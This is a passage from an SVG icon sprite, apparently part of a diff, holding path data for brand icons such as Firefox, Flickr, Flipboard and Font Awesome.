d="M503.52,241.48c-.12-1.56-.24-3.12-.24-4.68v-.12l-.36-4.68v-.12a245.86,245.86,0,0,0-7.32-41.15c0-.12,0-.12-.12-.24l-1.08-4c-.12-.24-.12-.48-.24-.6-.36-1.2-.72-2.52-1.08-3.72-.12-.24-.12-.6-.24-.84-.36-1.2-.72-2.4-1.08-3.48-.12-.36-.24-.6-.36-1-.36-1.2-.72-2.28-1.2-3.48l-.36-1.08c-.36-1.08-.84-2.28-1.2-3.36a8.27,8.27,0,0,0-.36-1c-.48-1.08-.84-2.28-1.32-3.36-.12-.24-.24-.6-.36-.84-.48-1.2-1-2.28-1.44-3.48,0-.12-.12-.24-.12-.36-1.56-3.84-3.24-7.68-5-11.4l-.36-.72c-.48-1-.84-1.8-1.32-2.64-.24-.48-.48-1.08-.72-1.56-.36-.84-.84-1.56-1.2-2.4-.36-.6-.6-1.2-1-1.8s-.84-1.44-1.2-2.28c-.36-.6-.72-1.32-1.08-1.92s-.84-1.44-1.2-2.16a18.07,18.07,0,0,0-1.2-2c-.36-.72-.84-1.32-1.2-2s-.84-1.32-1.2-2-.84-1.32-1.2-1.92-.84-1.44-1.32-2.16a15.63,15.63,0,0,0-1.2-1.8L463.2,119a15.63,15.63,0,0,0-1.2-1.8c-.48-.72-1.08-1.56-1.56-2.28-.36-.48-.72-1.08-1.08-1.56l-1.8-2.52c-.36-.48-.6-.84-1-1.32-1-1.32-1.8-2.52-2.76-3.72a248.76,248.76,0,0,0-23.51-26.64A186.82,186.82,0,0,0,412,62.46c-4-3.48-8.16-6.72-12.48-9.84a162.49,162.49,0,0,0-24.6-15.12c-2.4-1.32-4.8-2.52-7.2-3.72a254,254,0,0,0-55.43-19.56c-1.92-.36-3.84-.84-5.64-1.2h-.12c-1-.12-1.8-.36-2.76-.48a236.35,236.35,0,0,0-38-4H255.14a234.62,234.62,0,0,0-45.48,5c-33.59,7.08-63.23,21.24-82.91,39-1.08,1-1.92,1.68-2.4,2.16l-.48.48H124l-.12.12.12-.12a.12.12,0,0,0,.12-.12l-.12.12a.42.42,0,0,1,.24-.12c14.64-8.76,34.92-16,49.44-19.56l5.88-1.44c.36-.12.84-.12,1.2-.24,1.68-.36,3.36-.72,5.16-1.08.24,0,.6-.12.84-.12C250.94,20.94,319.34,40.14,367,85.61a171.49,171.49,0,0,1,26.88,32.76c30.36,49.2,27.48,111.11,3.84,147.59-34.44,53-111.35,71.27-159,24.84a84.19,84.19,0,0,1-25.56-59,74.05,74.05,0,0,1,6.24-31c1.68-3.84,13.08-25.67,18.24-24.59-13.08-2.76-37.55,2.64-54.71,28.19-15.36,22.92-14.52,58.2-5,83.28a132.85,132.85,0,0,1-12.12-39.24c-12.24-82.55,43.31-153,94.31-170.51-27.48-24-96.47-22.31-147.71,15.36-29.88,22-51.23,53.16-62.51,90.36,1.68-20.88,9.6-52.08,25.8-83.88-17.16,8.88-39,37-49.8,62.88-15.6,37.43-21,82.19-16.08,124.79.36,3.24.72,6.36,1.08,9.6,19.92,117.11,122,206.38,244.78,206.38C392.77,503.42,504,392.19,504,255,503.88,250.48,503.76,245.92,503.52,241.48Z"></path> + </symbol> + <symbol id="firefox-browser" viewBox="0 0 512 512"> + <path d="M189.37,152.86Zm-58.74-29.37C130.79,123.5,130.71,123.5,130.63,123.49Zm351.42,45.35c-10.61-25.5-32.08-53-48.94-61.73,13.72,26.89,21.67,53.88,24.7,74,0,0,0,.14.05.41-27.58-68.75-74.35-96.47-112.55-156.83-1.93-3.05-3.86-6.11-5.74-9.33-1-1.65-1.86-3.34-2.69-5.05A44.88,44.88,0,0,1,333.24.69a.63.63,0,0,0-.55-.66.9.9,0,0,0-.46,0l-.12.07-.18.1.1-.14c-54.23,31.77-76.72,87.38-82.5,122.78a130,130,0,0,0-48.33,12.33,6.25,6.25,0,0,0-3.09,7.75,6.13,6.13,0,0,0,7.79,3.79l.52-.21a117.84,117.84,0,0,1,42.11-11l1.42-.1c2-.12,4-.2,6-.22A122.61,122.61,0,0,1,291,140c.67.2,1.32.42,2,.63,1.89.57,3.76,1.2,5.62,1.87,1.36.5,2.71,1,4.05,1.58,1.09.44,2.18.88,3.25,1.35q2.52,1.13,5,2.35c.75.37,1.5.74,2.25,1.13q2.4,1.26,4.74,2.63,1.51.87,3,1.8a124.89,124.89,0,0,1,42.66,44.13c-13-9.15-36.35-18.19-58.82-14.28,87.74,43.86,64.18,194.9-57.39,189.2a108.43,108.43,0,0,1-31.74-6.12c-2.42-.91-4.8-1.89-7.16-2.93-1.38-.63-2.76-1.27-4.12-2C174.5,346,149.9,316.92,146.83,281.59c0,0,11.25-41.95,80.62-41.95,7.5,0,28.93-20.92,29.33-27-.09-2-42.54-18.87-59.09-35.18-8.85-8.71-13.05-12.91-16.77-16.06a69.58,69.58,0,0,0-6.31-4.77A113.05,113.05,0,0,1,173.92,97c-25.06,11.41-44.55,29.45-58.71,45.37h-.12c-9.67-12.25-9-52.65-8.43-61.08-.12-.53-7.22,3.68-8.15,4.31a178.54,178.54,0,0,0-23.84,20.43A214,214,0,0,0,51.9,133.36l0,0a.08.08,0,0,1,0,0,205.84,205.84,0,0,0-32.73,73.9c-.06.27-2.33,10.21-4,22.48q-.42,2.87-.78,5.74c-.57,3.69-1,7.71-1.44,14,0,.24,0,.48-.05.72-.18,2.71-.34,5.41-.49,8.12,0,.41,0,.82,0,1.24,0,134.7,109.21,243.89,243.92,243.89,120.64,0,220.82-87.58,240.43-202.62.41-3.12.74-6.26,1.11-9.41,4.85-41.83-.54-85.79-15.82-122.55Z"></path> + </symbol> + <symbol id="first-order" viewBox="0 0 448 512"> + <path d="M12.9 229.2c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4h-.2zM224 96.6c-7.1 0-14.6.6-21.4 1.7l3.7 67.4-22-64c-14.3 3.7-27.7 9.4-40 16.6l29.4 61.4-45.1-50.9c-11.4 8.9-21.7 19.1-30.6 30.9l50.6 45.4-61.1-29.7c-7.1 12.3-12.9 25.7-16.6 40l64.3 22.6-68-4c-.9 7.1-1.4 14.6-1.4 22s.6 14.6 1.4 21.7l67.7-4-64 22.6c3.7 14.3 9.4 27.7 16.6 40.3l61.1-29.7L97.7 352c8.9 11.7 19.1 22.3 30.9 30.9l44.9-50.9-29.5 61.4c12.3 7.4 25.7 13.1 40 16.9l22.3-64.6-4 68c7.1 1.1 14.6 1.7 21.7 1.7 7.4 0 14.6-.6 21.7-1.7l-4-68.6 22.6 65.1c14.3-4 27.7-9.4 40-16.9L274.9 332l44.9 50.9c11.7-8.9 22-19.1 30.6-30.9l-50.6-45.1 61.1 29.4c7.1-12.3 12.9-25.7 16.6-40.3l-64-22.3 67.4 4c1.1-7.1 1.4-14.3 1.4-21.7s-.3-14.9-1.4-22l-67.7 4 64-22.3c-3.7-14.3-9.1-28-16.6-40.3l-60.9 29.7 50.6-45.4c-8.9-11.7-19.1-22-30.6-30.9l-45.1 50.9 29.4-61.1c-12.3-7.4-25.7-13.1-40-16.9L241.7 166l4-67.7c-7.1-1.2-14.3-1.7-21.7-1.7zM443.4 128v256L224 512 4.6 384V128L224 0l219.4 128zm-17.1 10.3L224 20.9 21.7 138.3v235.1L224 491.1l202.3-117.7V138.3zM224 37.1l187.7 109.4v218.9L224 474.9 36.3 365.4V146.6L224 37.1zm0 50.9c-92.3 0-166.9 75.1-166.9 168 0 92.6 74.6 167.7 166.9 167.7 92 0 166.9-75.1 166.9-167.7 0-92.9-74.9-168-166.9-168z"></path> + </symbol> + <symbol id="first-order-alt" viewBox="0 0 496 512"> + <path d="M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 488.21C115.34 496.21 7.79 388.66 7.79 256S115.34 15.79 248 15.79 488.21 123.34 488.21 256 380.66 496.21 248 496.21zm0-459.92C126.66 36.29 28.29 134.66 28.29 256S126.66 475.71 248 475.71 467.71 377.34 467.71 256 369.34 36.29 248 36.29zm0 431.22c-116.81 0-211.51-94.69-211.51-211.51S131.19 44.49 248 44.49 459.51 139.19 459.51 256 364.81 467.51 248 467.51zm186.23-162.98a191.613 191.613 0 0 1-20.13 48.69l-74.13-35.88 61.48 54.82a193.515 193.515 0 0 1-37.2 37.29l-54.8-61.57 35.88 74.27a190.944 190.944 0 0 1-48.63 20.23l-27.29-78.47 4.79 82.93c-8.61 1.18-17.4 1.8-26.33 1.8s-17.72-.62-26.33-1.8l4.76-82.46-27.15 78.03a191.365 191.365 0 0 1-48.65-20.2l35.93-74.34-54.87 61.64a193.85 193.85 0 0 1-37.22-37.28l61.59-54.9-74.26 35.93a191.638 191.638 0 0 1-20.14-48.69l77.84-27.11-82.23 4.76c-1.16-8.57-1.78-17.32-1.78-26.21 0-9 .63-17.84 1.82-26.51l82.38 4.77-77.94-27.16a191.726 191.726 0 0 1 20.23-48.67l74.22 35.92-61.52-54.86a193.85 193.85 0 0 1 37.28-37.22l54.76 61.53-35.83-74.17a191.49 191.49 0 0 1 48.65-20.13l26.87 77.25-4.71-81.61c8.61-1.18 17.39-1.8 26.32-1.8s17.71.62 26.32 1.8l-4.74 82.16 27.05-77.76c17.27 4.5 33.6 11.35 48.63 20.17l-35.82 74.12 54.72-61.47a193.13 193.13 0 0 1 37.24 37.23l-61.45 54.77 74.12-35.86a191.515 191.515 0 0 1 20.2 48.65l-77.81 27.1 82.24-4.75c1.19 8.66 1.82 17.5 1.82 26.49 0 8.88-.61 17.63-1.78 26.19l-82.12-4.75 77.72 27.09z"></path> + </symbol> + <symbol id="firstdraft" viewBox="0 0 384 512"> + <path d="M384 192h-64v128H192v128H0v-25.6h166.4v-128h128v-128H384V192zm-25.6 38.4v128h-128v128H64V512h192V384h128V230.4h-25.6zm25.6 192h-89.6V512H320v-64h64v-25.6zM0 0v384h128V256h128V128h128V0H0z"></path> + </symbol> + <symbol id="flickr" viewBox="0 0 448 512"> + <path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM144.5 319c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5zm159 0c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5z"></path> + </symbol> + <symbol id="flipboard" viewBox="0 0 448 512"> + <path d="M0 32v448h448V32H0zm358.4 179.2h-89.6v89.6h-89.6v89.6H89.6V121.6h268.8v89.6z"></path> + </symbol> + <symbol id="fly" viewBox="0 0 384 512"> + <path d="M197.8 427.8c12.9 11.7 33.7 33.3 33.2 50.7 0 .8-.1 1.6-.1 2.5-1.8 19.8-18.8 31.1-39.1 31-25-.1-39.9-16.8-38.7-35.8 1-16.2 20.5-36.7 32.4-47.6 2.3-2.1 2.7-2.7 5.6-3.6 3.4 0 3.9.3 6.7 2.8zM331.9 67.3c-16.3-25.7-38.6-40.6-63.3-52.1C243.1 4.5 214-.2 192 0c-44.1 0-71.2 13.2-81.1 17.3C57.3 45.2 26.5 87.2 28 158.6c7.1 82.2 97 176 155.8 233.8 1.7 1.6 4.5 4.5 6.2 5.1l3.3.1c2.1-.7 1.8-.5 3.5-2.1 52.3-49.2 140.7-145.8 155.9-215.7 7-39.2 3.1-72.5-20.8-112.5zM186.8 351.9c-28-51.1-65.2-130.7-69.3-189-3.4-47.5 11.4-131.2 69.3-136.7v325.7zM328.7 180c-16.4 56.8-77.3 128-118.9 170.3C237.6 298.4 275 217 277 158.4c1.6-45.9-9.8-105.8-48-131.4 88.8 18.3 115.5 98.1 99.7 153z"></path> + </symbol> + <symbol id="font-awesome" viewBox="0 0 448 512"> + <path d="M400 32H48A48 48 0 0 0 0 80V432a48 48 0 0 0 48 48H400a48 48 0 0 0 48-48V80A48 48 0 0 0 400 32ZM336 312c-31.6 11.2-41.2 16-59.8 16-31.4 0-43.2-16-74.6-16a80 80 0 0 0-25.6 4V284a85.9 85.9 0 0 1 25.6-4c31.2 0 43.2 16 74.6 16 10.2 0 17.8-1.4 27.8-4.6v-96c-10 3.2-17.6 4.6-27.8 4.6-31.4 0-43.2-16-74.6-16-25.4 0-37.4 10.4-57.6 14.4V352a16 16 0 0 1-32 0V160a16 16 0 0 1 32 0v6.4c20.2-4 32.2-14.4 57.6-14.4 31.2 0 43.2 16 74.6 16 18.6 0 28.2-4.8 59.8-16Z"></path> + </symbol> + <symbol id="font-awesome-alt" viewBox="0 0 448 512"> + <path d="M400 32H48A48 48 0 0 0 0 80V432a48 48 0 0 0 48 48H400a48 48 0 0 0 48-48V80A48 48 0 0 0 400 32Zm16 400a16 16 0 0 1-16 16H48a16 16 0 0 1-16-16V80A16 16 0 0 1 48 64H400a16 16 0 0 1 16 16ZM201.6 152c-25.4 0-37.4 10.4-57.6 14.4V160a16 16 0 0 0-32 0V352a16 16 0 0 0 32 0V198.4c20.2-4 32.2-14.4 57.6-14.4 31.4 0 43.2 16 74.6 16 10.2 0 17.8-1.4 27.8-4.6v96c-10 3.2-17.6 4.6-27.8 4.6-31.4 0-43.4-16-74.6-16a85.9 85.9 0 0 0-25.6 4v32a80 80 0 0 1 25.6-4c31.4 0 43.2 16 74.6 16 18.6 0 28.2-4.8 59.8-16V152c-31.6 11.2-41.2 16-59.8 16C244.8 168 232.8 152 201.6 152Z"></path> + </symbol> + <symbol id="font-awesome-flag" viewBox="0 0 448 512"> + <path d="M448 48V384c-63 23-82 32-119 32-63 0-87-32-150-32-20 0-36 4-51 8V328c15-4 31-8 51-8 63 0 87 32 150 32 20 0 35-3 55-9V135c-20 6-35 9-55 9-63 0-87-32-150-32-51 0-75 21-115 29V448a31.6 31.6 0 0 1-32 32A31.6 31.6 0 0 1 0 448V64A31.6 31.6 0 0 1 32 32 31.6 31.6 0 0 1 64 64V77c40-8 64-29 115-29 63 0 87 32 150 32C366 80 385 71 448 48Z"></path> + </symbol> + <symbol id="font-awesome-logo-full" viewBox="0 0 3992 512"> + <path d="M1209.7 156.5c-57.8 0-102 43.9-102 99.1 0 56 44.6 99.1 102 99.1 57.4 0 102-43.1 102-99.1C1311.7 200.4 1267.5 156.5 1209.7 156.5Zm0 152.7c-35.1 0-51.8-27.4-51.8-53.2 0-25.8 16.7-53.2 51.8-53.2 35.1 0 51.8 27.8 51.8 53.2C1261.1 281.8 1244.8 309.2 1209.7 309.2Zm962.1-136.1c-4.4-10.9-12.3-16.5-23.5-16.5s-19.1 5.6-23.5 16.5l-59.4 145.8c-7.2 17.7 2.8 27.4 4.4 29a24.6 24.6 0 0 0 17.5 6.8c10.8 0 18.7-6 23.1-18.1l4-10.1h67.7l4 10.1c4.8 12.1 12.3 18.1 23.1 18.1a24.6 24.6 0 0 0 17.5-6.8c10-10.1 6.8-22.6 4.4-29Zm-43 113.6 19.1-56 19.1 56Zm-574.5-130.1c-14.3 0-24.7 10.9-24.7 25.4v76.5l-68.5-85.8c-4.4-5.6-11.6-16.1-25.5-16.1-19.1 0-24.3 17.7-24.3 25.4V329.7c0 14.1 10.4 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V252.8l68.9 86.2c4.8 5.6 11.6 16.1 25.5 16.1 19.1 0 23.9-17.3 23.9-25.4V181.9C1579 167.4 1568.6 156.5 1554.3 156.5Zm-554.1 1.6H916.5c-19.9 0-25.1 17.3-25.1 25.4V328.1c0 19.7 16.7 25.4 24.7 25.4 8 0 24.7-5.2 24.7-25.4V285h44.6c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.5-22.1-22.7-22.1H940.8V203.6h59.4c12.8 0 22.7-9.3 22.7-22.6C1022.9 163 1007.3 158.1 1000.2 158.1Zm815.1 0H1691.7c-7.2 0-22.7 4.4-22.7 22.2 0 13.3 10 22.6 22.7 22.6h37V327.7c0 14.1 10.4 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V202.8h37c12.7 0 22.7-9.3 22.7-22.6C1837.9 163 1822.4 158.1 1815.2 158.1Zm1789.5-1.6c-9.6 0-17.5 6-25.1 18.1l-46.6 76.1L3486.4 174.6q-10.8-18.1-25.1-18.1c-19.5 0-24.7 18.1-24.7 25.8V329.7c0 14.1 10.4 25.4 24.7 25.4s24.7-10.9 24.7-25.4V262.8L3510.7 302.7c6.4 10.1 13.9 15.3 22.3 15.3 8.8 0 15.9-5.2 22.3-15.3l24.7-39.9v66.9c0 14.1 10.3 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V182.3C3629.4 174.2 3624.6 156.5 3604.7 156.5Zm248.6 149.8h-65.7V272.9h39.4c11.9 0 21.1-8.9 21.1-20.9 0-12.1-9.2-20.9-21.1-20.9h-39.4V204.8h62.1c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.6-22.2-22.7-22.2h-86.4c-19.9 0-25.1 17.3-25.1 25.4V326.5c0 8.1 5.2 25.4 25.1 25.4h90c12.8 0 22.7-9.3 22.7-22.6C3876 311.2 3860.5 306.3 3853.3 306.3ZM3235 156.5c-57.8 0-102 43.9-102 99.1 0 56 44.6 99.1 102 99.1 57.4 0 102-43.1 102-99.1C3337 200.4 3292.8 156.5 3235 156.5Zm0 152.7c-35.1 0-51.8-27.4-51.8-53.2 0-25.8 16.7-53.2 51.8-53.2 35.1 0 51.8 27.8 51.8 53.2C3286.8 281.8 3270.1 309.2 3235 309.2ZM2550.2 156.5c-11.2 0-19.1 5.6-23.1 16.5l-34.3 94.7-31.5-92.2c-4.4-12.5-12.3-18.9-24.3-18.9-11.9 0-19.9 6.4-24.3 18.9l-31.5 92.2-34.3-95.5q-5.4-15.7-22.7-15.7c-6.8 0-12.3 2.4-17.5 7.3-5.2 5.2-10.8 14.5-4.8 28.6l55.8 145.8c4 11.3 11.6 16.9 23.1 16.9q16.7 0 22.7-16.9l33.5-91.8 33.5 91.8q6 16.9 22.7 16.9c11.2 0 19.1-5.6 23.1-16.9l55.8-145.8c3.6-9.3 4.4-19.3-4.8-28.6A23 23 0 0 0 2550.2 156.5Zm444.2 81-21.9-9.3c-11.9-4.8-16.3-8.5-16.3-15.7q0-12.1 16.7-12.1c12.7 0 19.5 7.7 24.3 10.9 7.2 5.2 18.3 6.8 27.9-2 10.8-10.5 6.8-23.8 1.2-30.6-12.3-14.9-30.3-22.2-53.8-22.2-19.1 0-35.1 5.2-47.4 15.7-12.3 10.5-18.7 24.2-18.7 41.1 0 24.2 15.9 43.5 47.8 57.6l19.5 8.9c15.9 6.8 19.1 9.7 19.1 17.7 0 9.3-6.4 14.1-19.5 14.1-19.1 0-34.7-14.9-36.3-16.1-10.8-7.3-21.5-2-26.3 2.8-6.8 6.4-12.7 20.9 3.2 36.2 6.8 6.4 15.5 11.7 26.7 15.3a94.6 94.6 0 0 0 32.7 5.6c19.9 0 36.7-5.2 49.8-16.1 13.1-10.9 19.5-25.4 19.5-43.5q0-20.5-12-33.8C3022.7 253.2 3010.7 244.3 2994.4 237.5Zm-206.4 68.9h-65.7V272.9h39.4c12 0 21.1-8.9 21.1-20.9 0-12.1-9.2-20.9-21.1-20.9h-39.4V204.8h62.1c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.5-22.2-22.7-22.2h-86.4c-19.9 0-25.1 17.3-25.1 25.4V326.5c0 8.1 5.2 25.4 25.1 25.4h90c12.7 0 22.7-9.3 22.7-22.6C2810.8 311.2 2795.2 306.3 2788 306.3ZM178.3 49.1c-50.5 0-74.4 20.7-114.6 28.7V65A31.8 31.8 0 1 0 0 65V447a31.8 31.8 0 0 0 63.7 0V141.4c40.2-8 64.1-28.7 114.6-28.7 62.5 0 86 31.8 148.4 31.8 20.3 0 35.4-2.8 55.3-9.2v191c-19.9 6.4-35 9.2-55.3 9.2-62.5 0-86.4-31.8-148.4-31.8-20.3 0-36.2 3.6-50.9 8V375.4a159.1 159.1 0 0 1 50.9-8c62.5 0 86 31.8 148.4 31.8 37 0 56.1-9.6 119-31.8V49.1C382.8 71.4 363.7 80.9 326.7 80.9 264.2 80.9 240.4 49.1 178.3 49.1Z"></path> + </symbol> + <symbol id="fonticons" viewBox="0 0 448 512"> + <path d="M0 32v448h448V32zm187 140.9c-18.4 0-19 9.9-19 27.4v23.3c0 2.4-3.5 4.4-.6 4.4h67.4l-11.1 37.3H168v112.9c0 5.8-2 6.7 3.2 7.3l43.5 4.1v25.1H84V389l21.3-2c5.2-.6 6.7-2.3 6.7-7.9V267.7c0-2.3-2.9-2.3-5.8-2.3H84V228h28v-21c0-49.6 26.5-70 77.3-70 34.1 0 64.7 8.2 64.7 52.8l-50.7 6.1c.3-18.7-4.4-23-16.3-23zm74.3 241.8v-25.1l20.4-2.6c5.2-.6 7.6-1.7 7.6-7.3V271.8c0-4.1-2.9-6.7-6.7-7.9l-24.2-6.4 6.7-29.5h80.2v151.7c0 5.8-2.6 6.4 2.9 7.3l15.7 2.6v25.1zm80.8-255.5l9 33.2-7.3 7.3-31.2-16.6-31.2 16.6-7.3-7.3 9-33.2-21.8-24.2 3.5-9.6h27.7l15.5-28h9.3l15.5 28h27.7l3.5 9.6z"></path> + </symbol> + <symbol id="fonticons-fi" viewBox="0 0 384 512"> + <path d="M114.4 224h92.4l-15.2 51.2h-76.4V433c0 8-2.8 9.2 4.4 10l59.6 5.6V483H0v-35.2l29.2-2.8c7.2-.8 9.2-3.2 9.2-10.8V278.4c0-3.2-4-3.2-8-3.2H0V224h38.4v-28.8c0-68 36.4-96 106-96 46.8 0 88.8 11.2 88.8 72.4l-69.6 8.4c.4-25.6-6-31.6-22.4-31.6-25.2 0-26 13.6-26 37.6v32c0 3.2-4.8 6-.8 6zM384 483H243.2v-34.4l28-3.6c7.2-.8 10.4-2.4 10.4-10V287c0-5.6-4-9.2-9.2-10.8l-33.2-8.8 9.2-40.4h110v208c0 8-3.6 8.8 4 10l21.6 3.6V483zm-30-347.2l12.4 45.6-10 10-42.8-22.8-42.8 22.8-10-10 12.4-45.6-30-36.4 4.8-10h38L307.2 51H320l21.2 38.4h38l4.8 13.2-30 33.2z"></path> + </symbol> + <symbol id="fort-awesome" viewBox="0 0 512 512"> + <path d="M489.2 287.9h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6V146.2c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-6-8-4.6-11.7-4.6v-38c8.3-2 17.1-3.4 25.7-3.4 10.9 0 20.9 4.3 31.4 4.3 4.6 0 27.7-1.1 27.7-8v-60c0-2.6-2-4.6-4.6-4.6-5.1 0-15.1 4.3-24 4.3-9.7 0-20.9-4.3-32.6-4.3-8 0-16 1.1-23.7 2.9v-4.9c5.4-2.6 9.1-8.3 9.1-14.3 0-20.7-31.4-20.8-31.4 0 0 6 3.7 11.7 9.1 14.3v111.7c-3.7 0-11.7-1.4-11.7 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32H128v-32c0-2.6-2-4.6-4.6-4.6H96c-2.6 0-4.6 2-4.6 4.6v178.3H54.8v-32c0-2.6-2-4.6-4.6-4.6H22.8c-2.6 0-4.6 2-4.6 4.6V512h182.9v-96c0-72.6 109.7-72.6 109.7 0v96h182.9V292.5c.1-2.6-1.9-4.6-4.5-4.6zm-288.1-4.5c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64zm146.4 0c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64z"></path> + </symbol> + <symbol id="fort-awesome-alt" viewBox="0 0 512 512"> + <path d="M208 237.4h-22.2c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7H208c2.1 0 3.7-1.6 3.7-3.7v-51.7c0-2.1-1.6-3.7-3.7-3.7zm118.2 0H304c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7h22.2c2.1 0 3.7-1.6 3.7-3.7v-51.7c-.1-2.1-1.7-3.7-3.7-3.7zm132-125.1c-2.3-3.2-4.6-6.4-7.1-9.5-9.8-12.5-20.8-24-32.8-34.4-4.5-3.9-9.1-7.6-13.9-11.2-1.6-1.2-3.2-2.3-4.8-3.5C372 34.1 340.3 20 306 13c-16.2-3.3-32.9-5-50-5s-33.9 1.7-50 5c-34.3 7.1-66 21.2-93.3 40.8-1.6 1.1-3.2 2.3-4.8 3.5-4.8 3.6-9.4 7.3-13.9 11.2-3 2.6-5.9 5.3-8.8 8s-5.7 5.5-8.4 8.4c-5.5 5.7-10.7 11.8-15.6 18-2.4 3.1-4.8 6.3-7.1 9.5C25.2 153 8.3 202.5 8.3 256c0 2 .1 4 .1 6 .1.7.1 1.3.1 2 .1 1.3.1 2.7.2 4 0 .8.1 1.5.1 2.3 0 1.3.1 2.5.2 3.7.1.8.1 1.6.2 2.4.1 1.1.2 2.3.3 3.5 0 .8.1 1.6.2 2.4.1 1.2.3 2.4.4 3.6.1.8.2 1.5.3 2.3.1 1.3.3 2.6.5 3.9.1.6.2 1.3.3 1.9l.9 5.7c.1.6.2 1.1.3 1.7.3 1.3.5 2.7.8 4 .2.8.3 1.6.5 2.4.2 1 .5 2.1.7 3.2.2.9.4 1.7.6 2.6.2 1 .4 2 .7 3 .2.9.5 1.8.7 2.7.3 1 .5 1.9.8 2.9.3.9.5 1.8.8 2.7.2.9.5 1.9.8 2.8s.5 1.8.8 2.7c.3 1 .6 1.9.9 2.8.6 1.6 1.1 3.3 1.7 4.9.4 1 .7 1.9 1 2.8.3 1 .7 2 1.1 3 .3.8.6 1.5.9 2.3l1.2 3c.3.7.6 1.5.9 2.2.4 1 .9 2 1.3 3l.9 2.1c.5 1 .9 2 1.4 3 .3.7.6 1.3.9 2 .5 1 1 2.1 1.5 3.1.2.6.5 1.1.8 1.7.6 1.1 1.1 2.2 1.7 3.3.1.2.2.3.3.5 2.2 4.1 4.4 8.2 6.8 12.2.2.4.5.8.7 1.2.7 1.1 1.3 2.2 2 3.3.3.5.6.9.9 1.4.6 1.1 1.3 2.1 2 3.2.3.5.6.9.9 1.4.7 1.1 1.4 2.1 2.1 3.2.2.4.5.8.8 1.2.7 1.1 1.5 2.2 2.3 3.3.2.2.3.5.5.7 37.5 51.7 94.4 88.5 160 99.4.9.1 1.7.3 2.6.4 1 .2 2.1.4 3.1.5s1.9.3 2.8.4c1 .2 2 .3 3 .4.9.1 1.9.2 2.9.3s1.9.2 2.9.3 2.1.2 3.1.3c.9.1 1.8.1 2.7.2 1.1.1 2.3.1 3.4.2.8 0 1.7.1 2.5.1 1.3 0 2.6.1 3.9.1.7.1 1.4.1 2.1.1 2 .1 4 .1 6 .1s4-.1 6-.1c.7 0 1.4-.1 2.1-.1 1.3 0 2.6 0 3.9-.1.8 0 1.7-.1 2.5-.1 1.1-.1 2.3-.1 3.4-.2.9 0 1.8-.1 2.7-.2 1-.1 2.1-.2 3.1-.3s1.9-.2 2.9-.3c.9-.1 1.9-.2 2.9-.3s2-.3 3-.4 1.9-.3 2.8-.4c1-.2 2.1-.3 3.1-.5.9-.1 1.7-.3 2.6-.4 65.6-11 122.5-47.7 160.1-102.4.2-.2.3-.5.5-.7.8-1.1 1.5-2.2 2.3-3.3.2-.4.5-.8.8-1.2.7-1.1 1.4-2.1 2.1-3.2.3-.5.6-.9.9-1.4.6-1.1 1.3-2.1 2-3.2.3-.5.6-.9.9-1.4.7-1.1 1.3-2.2 2-3.3.2-.4.5-.8.7-1.2 2.4-4 4.6-8.1 6.8-12.2.1-.2.2-.3.3-.5.6-1.1 1.1-2.2 1.7-3.3.2-.6.5-1.1.8-1.7.5-1 1-2.1 1.5-3.1.3-.7.6-1.3.9-2 .5-1 1-2 1.4-3l.9-2.1c.5-1 .9-2 1.3-3 .3-.7.6-1.5.9-2.2l1.2-3c.3-.8.6-1.5.9-2.3.4-1 .7-2 1.1-3s.7-1.9 1-2.8c.6-1.6 1.2-3.3 1.7-4.9.3-1 .6-1.9.9-2.8s.5-1.8.8-2.7c.2-.9.5-1.9.8-2.8s.6-1.8.8-2.7c.3-1 .5-1.9.8-2.9.2-.9.5-1.8.7-2.7.2-1 .5-2 .7-3 .2-.9.4-1.7.6-2.6.2-1 .5-2.1.7-3.2.2-.8.3-1.6.5-2.4.3-1.3.6-2.7.8-4 .1-.6.2-1.1.3-1.7l.9-5.7c.1-.6.2-1.3.3-1.9.1-1.3.3-2.6.5-3.9.1-.8.2-1.5.3-2.3.1-1.2.3-2.4.4-3.6 0-.8.1-1.6.2-2.4.1-1.1.2-2.3.3-3.5.1-.8.1-1.6.2-2.4.1 1.7.1.5.2-.7 0-.8.1-1.5.1-2.3.1-1.3.2-2.7.2-4 .1-.7.1-1.3.1-2 .1-2 .1-4 .1-6 0-53.5-16.9-103-45.8-143.7zM448 371.5c-9.4 15.5-20.6 29.9-33.6 42.9-20.6 20.6-44.5 36.7-71.2 48-13.9 5.8-28.2 10.3-42.9 13.2v-75.8c0-58.6-88.6-58.6-88.6 0v75.8c-14.7-2.9-29-7.3-42.9-13.2-26.7-11.3-50.6-27.4-71.2-48-13-13-24.2-27.4-33.6-42.9v-71.3c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7V326h29.6V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 